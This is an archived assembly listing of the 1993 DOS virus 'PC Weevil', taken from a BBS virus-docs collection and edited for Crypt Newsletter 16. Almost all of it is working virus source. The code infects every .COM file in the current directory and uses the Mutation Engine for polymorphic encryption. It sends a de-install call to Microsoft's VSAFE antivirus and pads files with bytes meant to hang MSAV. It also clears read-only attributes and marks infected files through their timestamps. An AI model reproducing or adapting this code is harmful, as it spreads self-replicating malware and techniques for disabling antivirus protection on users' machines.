home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Phoenix Rising BBS
/
phoenixrising.zip
/
phoenixrising
/
vir-docs
/
crptlt16.arj
/
PCWEEVIL.ASM
< prev
next >
Wrap
Assembly Source File
|
1993-06-29
|
8KB
|
231 lines
;PC WEEVIL virus - demonstrator of Mutation Engine tricks and
;Microsoft Antivirus dismantling technology. PC WEEVIL is a
;direct action .COM-infecting virus which will infect all
;.COMfiles in the current directory on its initial run.
;The Mutation Engine is needed to assemble this virus
;directly from this source listing.
;PC WEEVIL contains adaptations of code published in
;Computer Virus Developments Quarterly #3, American Eagle
;Publications.
;Anti-VSAFE routine supplied by KohntarK,
;Mutation Engine supplied by:
;
; MtE Version 1.01 (26-10-91)
; (C) 1991 Dark Avenger.
;Edited by URNST KOUCH for Crypt Newsletter 16.
.model tiny
.radix 16
.code
extrn mut_engine: near, rnd_get: near, rnd_init: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
note: db 'PC Weevil: Still the select'
db ' choice for your virus research needs'
locadr:
pop dx
mov cl,4
shr dx,cl
sub dx,10
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di
push cs
pop ds
push ax
;go through Microsoft's VSAFE
mov ax,0FA01h ;wake up VSAFE at INT 16 branch point
mov dx,5945h ;ask VSAFE to de-install
int 16h ;call the keyboard interrupt
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
xor ax,ax ;Initialize random seed
mov [rnd_buf],ax
call rnd_init
mov dx,offset srchnam
mov cl,3
mov ah,4e
find_lup:
int 21 ;Find the next COM file
jc infect_done ;all files infected, exit
call is_infected ;see if infected
jnz infect_start ;start infection cycle
jmp find_nxt
infect_start:
;If not infected, infect now
call infect
find_nxt:
mov dx,offset dta_buf ;loop around and continue
mov ah,4f ;until all files eligible are
jmp find_lup ;infected
infect_done:
push cs
pop ds
push ss
pop es
mov di,offset start
mov si,offset oold_cod
movsb ;Restore first 3 bytes
movsw
push ss
pop ds
mov dx,80 ;Restore DTA
mov ah,1a
int 21
pop ax
retf
infect:
xor cx,cx ;Reset read-only attribute
mov dx,offset dta_buf+1e
mov ax,4301
int 21
jc infect_done
mov ax,3d02 ;Open the file
int 21
jc infect_done
xchg ax,bx
mov ax,WORD PTR [old_cod]
mov WORD PTR [oold_cod],ax
mov al,BYTE PTR [old_cod+2]
mov BYTE PTR [oold_cod+2],al
mov dx,offset old_cod ;Read first 3 bytes
mov cx,3
mov ah,3f
int 21
jc read_done
xor cx,cx ;reset pointer
xor dx,dx
mov ax,4202 ;to the end of the file
int 21
test dx,dx ;make sure file is not too big
jnz read_done
cmp ax,-2000
jnc read_done
mov bp,ax
add bp,60 ;<--adjust pointer to accomodate bytes
sub ax,3 ;added to virus before decryptor,
;in this case: 96
mov word ptr [new_cod+1],ax
mov ax,cs
add ax,1000H
mov es,ax
mov dx,offset start
mov cx,offset _DATA
push bp bx
add bp,dx
xor si,si
xor di,di
mov bl,0f ;standard MtE values/flags
mov ax,101 ;standard MtE values/flags
call mut_engine
add cx,60 ;<---arrowed values - above and below - must
;remain consistent within alterations of virus
sub dx,60 ;<---subtract 60h (96) bytes from
mov di,dx ;space before decryptor
push cx ;to use "jmp $+2" use: "EB 00" at "00 00"
mov cx,30 ;copy "00 00" in 30h (48) times; to hang MSAV
mov ax,00000 ;the original Ludwig virus used "mul cx" = "E1 F7"
rep stosw ;but it's appropriate to use anything that
pop cx ;won't derange the virus. "00 00" is a better
pop bx ax ;choice because many files have sequences like it
add ax,cx ;Make sure file length mod 256 = 0
neg ax
xor ah,ah
add cx,ax
mov ah,40 ;Put the virus into the file
int 21
push cs
pop ds
jc write_done
sub cx,ax
jnz write_done
xor dx,dx ;Put the JMP instruction
mov ax,4200
int 21
mov dx,offset new_cod
mov cx,3
mov ah,40
int 21
jmp write_done
read_done:
mov ah,3e ;Close the file
int 21
ret
write_done:
mov ax,5700H ;get date & time on file
int 21H
push dx
mov ax,cx ;fix it
xor ax,dx
mov cx,0A
xor dx,dx
div cx
mul cx
add ax,3
pop dx
xor ax,dx
mov cx,ax
mov ax,5701H ;and save it
int 21H
jmp read_done
;determine if file is infected
is_infected:
mov dx,offset dta_buf+1e
mov ax,3d02 ;Open the file
int 21
mov bx,ax
mov ax,5700H ;get file attribute
int 21H
mov ax,cx
xor ax,dx ;date xor time mod 10 = 3 for infected file
xor dx,dx
mov cx,0A
div cx
cmp dx,3
pushf
mov ah,3e ;Close the file
int 21
popf
ret
srchnam db '*.COM',0 ;file searchmask for virus
old_cod: ;Buffer to read first 3 bytes
ret
dw 55AA
oold_cod: ;old old code
db 0,0,0
new_cod: ;Buffer to write first 3 bytes
jmp $+100
.data
dta_buf db 2bh dup(?) ;Buffer for DTA
end start